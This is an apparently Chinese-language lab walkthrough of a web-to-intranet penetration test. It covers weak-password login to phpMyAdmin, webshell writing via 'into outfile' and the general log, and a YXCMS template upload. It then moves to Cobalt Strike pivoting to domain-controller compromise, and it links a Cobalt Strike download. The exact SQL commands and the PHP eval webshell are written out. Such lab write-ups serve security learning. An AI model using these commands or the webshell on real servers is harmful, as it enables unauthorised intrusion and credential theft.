上篇讲到已经配好内网环境以及Web服务器,我们接下来讲一讲如何攻击。
Web攻击
首先进入的是phpstudy的探针,假设我们并不知道对方的环境,但是这个可以提供一些信息。接下来我们对这个网站进行扫描。
我们看到有个phpinfo.php、还有个phpmyAdmin,
这里需要数据库的密码,如果是公共机的话基本上都存在弱口令,我们试试password、admin123、root等等。试出root是密码(如果实在试不出就用bp跑弱口令)。
拿到phpmyadmin后,接下来就要用到一个点,phpmyadmin getshell。
phpmyAdmin Getshell
这里我浅谈两个phpmyadmin getshell的方法。
一、into outfile和into dumpfile写马
这两个可以写马,但是有所区别,一个可以写多行,另一个只能写一行(为了存储二进制)。并且他们两个使用需要一定的条件,就是配置文件中的secure_file_prive这个值需要一定的要求。我们查询secure_file_prive的值
show variables like "secure_file_prive%"
secure_file_prive=NULL 不允许写入或者读出
secure_file_prive="/tmp" 只允许在/tmp目录中写入和读出
secure_file_prive="" 可以写入和读出且不限制目录
如果我们可以利用写文件命令时,我们需要知道当前目录情况,这需要一个查询当前目录的指令,
select @@basedir
最后写马进去就可以了,
select "<?php @eval($_POST['wllm']);?>" into outfile "D:/phpStudy/PHPTutorial/WWW/shell.php"
二、日志写马
这个应该是用的最多的一个姿势了,因为日志的这个文件名不但可以控制,而且它的位置也能被控制。
查看日志配置
show variables like "general%"
第一个general_log表示为日志是否打开,OFF是关闭,ON是打开。
第二个general_log_file表示为日志存储的路径。
这两个我们都可以修改。
set global general_log="ON"
set global general_log_file="D:/phpStudy/PHPTutorial/WWW/shell.php"
最后我们select任何数据都会被存入日志,且日志被设置为php文件,所以我们能传入一句话拿到shell。
YXCMS getshell
对我目前水平而言如果真的是一个web环境我也觉得很难实现,因为yxcms是无法在dirsearch或者御剑中扫出来的,所以我们要知道网站目录下有个这个文件很不现实,这里我们只假设这如果是一个index的网站我们就可以试试。
这里是直接给了后台登录,我们登录到管理员后台上,进去后可以随便看看注入点,一般存在的注入点就是留言板、上传文件点等等。
这里进前台模板,可以上传文件且文件名控制为php,只能说正合我意,但是终究是靶场,真实环境不可能怎么舒服。
通过shell.php拿到shell后可以去随便看看。
内网渗透
既然我们已经拿到webShell,那么就要开始实现从web跳到内网了,这里我们需要用到一个工具,cobaltstrike (简称CS)。
CS下载链接:https://pan.baidu.com/s/1-PLpOIe-WKk7C76ULTL1wA
提取码:1234
具体怎么使用怎么配置,可以自行百度,网上教程很多,不多说了。
由于我们已经拿到了web的虚拟终端,我们就可以通过使用CS写钓鱼或者MSF使它在我们的CS中上线。
把这个powershell命令赋值在我们的目标webshell中执行。
可以看到已经上线了,那么我们内网渗透已经开始进行了,我们可以通过拿到的web服务器直接获取内网中一个域内的所有用户的密码。如下,
用net view看一下域内的用户,发现三台用户,
最后拿到域管和域控的服务器
可以看到域控的文件等等,拿到域控和域管这个时候内网算是打通了,我们需要什么只需要横向进行攻击即可,纵向就另说了,这里没有纵向攻击的情况。
最后想提一点,虽然CS好用,但是由于其攻击时流量过大,很容易被内网检测出来,所以CS一旦打入内网,内网会立即报警。
当然,打入内网不仅仅只有这一个方法,但是我觉得这是我目前知道最简单的方法。有兴趣可以去看看其它的方法,比如MSF。